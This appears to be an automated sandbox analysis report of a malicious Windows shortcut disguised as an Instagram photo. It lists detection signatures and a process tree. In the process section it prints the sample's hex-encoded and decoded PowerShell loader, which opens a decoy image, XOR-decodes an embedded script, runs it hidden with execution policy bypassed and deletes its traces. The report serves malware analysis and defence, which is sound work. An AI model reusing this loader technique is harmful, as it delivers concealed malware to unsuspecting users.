Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
16/06/2026, 10:47
General
- Target f681e7092d06f5c1399c554a4f4d52b6fcc723d1e0e7380a27906da75e4fc7e6.lnk
- Size 106KB
- Sample260616-mvtkwacz7s
- SHA256 f681e7092d06f5c1399c554a4f4d52b6fcc723d1e0e7380a27906da75e4fc7e6
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\f681e7092d06f5c1399c554a4f4d52b6fcc723d1e0e7380a27906da75e4fc7e6.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden "$hex = '244A794F203D204765742D4C6F636174696F6E3B20246747203D204A6F696E2D5061746820244A794F2028276C696E6B5F496E7374616772616D5F50584C5F32303234303932395F3231303830323036352E6A70672E6C6E6B27293B20246579203D2024656E763A54454D503B20696620282D6E6F7428546573742D50617468202467472929207B2020202020246D7A203D204765742D4368696C644974656D20246579202D72454355525345202D4552724F72614354496F4E2053494C654E744C79436F6E54696E7545207C2077686572652D4F624A456374207B20245F2E6E416D45202D655120276C696E6B5F496E7374616772616D5F50584C5F32303234303932395F3231303830323036352E6A70672E6C6E6B27207D207C20736F52742D6F624A454374206C415354575269544574494D45202D44457343656E64496E47207C2053656C6563742D4F626A656374202D464972735420313B202020202049662028246D7A29207B20246747203D20246D7A2E66754C4C4E616D453B207D20656C7365207B20657869743B207D207D3B20244A794F203D2053706C69742D50617468202D506172656E74202467473B2066756E6374696F6E20706C207B2020202020706172616D282463532C20244C66502C20246C386E2C20244B3368292020202020247235203D204E65772D4F626A65637420427974655B5D20244C66503B202020202020244E77203D205B53797374656D2E494F2E46696C655D3A3A4F70656E5265616428246747293B2020202020244E772E5365656B282463532C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A424547494E293B2020202020244E772E52656164282472352C20302C20244C6650293B2020202020244E772E436C6F736528293B202020202069662028246C386E202D6E65203029207B202020202020202020664F5220282448706B203D20303B202448706B202D4C5420244C66503B202448706B2B2B29207B202020202020202020202020202472355B2448706B5D203D202472355B2448706B5D202D62786F7220246C386E3B2020202020202020207D3B20202020207D20202020205365742D436F6E74656E7420244B336820247235202D456E636F64696E6720427974653B207D3B20245A3574203D204A6F696E2D5061746820244A794F2028276C696E6B5F496E7374616772616D5F50584C5F32303234303932395F3231303830323036352E6A706727293B20706C2038313932203631303932203020245A35743B202620245A35743B2024503478203D204A6F696E2D506174682024657920285B53797374656D2E494F2E506174685D3A3A47657452616E646F6D46696C654E616D652829202B20272E70733127293B20706C2036393238342033393637372031373220245034783B20706F7765727368656C6C202D6E6F70726F66696C65202D77696E646F777374796C652068696464656E202D657865637574696F6E706F6C69637920627970617373202D66696C6520245034783B2052656D6F76652D4974656D202D506174682024503478202D466F7263653B2052656D6F76652D4974656D202D5061746820246747202D466F7263653B'; $bbb = for ($i = 0; $i -lt $hex.Length; $i += 2) { [Convert]::ToByte($hex.Substring($i, 2), 16); }; $arg = [System.Text.Encoding]::UTF8.GetString($bbb); powershell -windowstyle hidden -ExecutionPolicy Bypass $arg;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass "$JyO = Get-Location; $gG = Join-Path $JyO ('link_Instagram_PXL_20240929_210802065.jpg.lnk'); $ey = $env:TEMP; if (-not(Test-Path $gG)) { $mz = Get-ChildItem $ey -rECURSE -ERrOraCTIoN SILeNtLyConTinuE | where-ObJEct { $_.nAmE -eQ 'link_Instagram_PXL_20240929_210802065.jpg.lnk' } | soRt-obJECt lASTWRiTEtIME -DEsCendInG | Select-Object -FIrsT 1; If ($mz) { $gG = $mz.fuLLNamE; } else { exit; } }; $JyO = Split-Path -Parent $gG; function pl { param($cS, $LfP, $l8n, $K3h) $r5 = New-Object Byte[] $LfP; $Nw = [System.IO.File]::OpenRead($gG); $Nw.Seek($cS, [System.IO.SeekOrigin]::BEGIN); $Nw.Read($r5, 0, $LfP); $Nw.Close(); if ($l8n -ne 0) { fOR ($Hpk = 0; $Hpk -LT $LfP; $Hpk++) { $r5[$Hpk] = $r5[$Hpk] -bxor $l8n; }; } Set-Content $K3h $r5 -Encoding Byte; }; $Z5t = Join-Path $JyO ('link_Instagram_PXL_20240929_210802065.jpg'); pl 8192 61092 0 $Z5t; & $Z5t; $P4x = Join-Path $ey ([System.IO.Path]::GetRandomFileName() + '.ps1'); pl 69284 39677 172 $P4x; powershell -noprofile -windowstyle hidden -executionpolicy bypass -file $P4x; Remove-Item -Path $P4x -Force; Remove-Item -Path $gG -Force;"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_23p4epp0.yg2.ps1
memory/4416-3-0x000001F699F20000-0x000001F699F30000-memory.dmp
memory/4416-2-0x000001F699F20000-0x000001F699F30000-memory.dmp
memory/4416-9-0x000001F6FFC80000-0x000001F6FFCA2000-memory.dmp
memory/4416-11-0x000001F699F20000-0x000001F699F30000-memory.dmp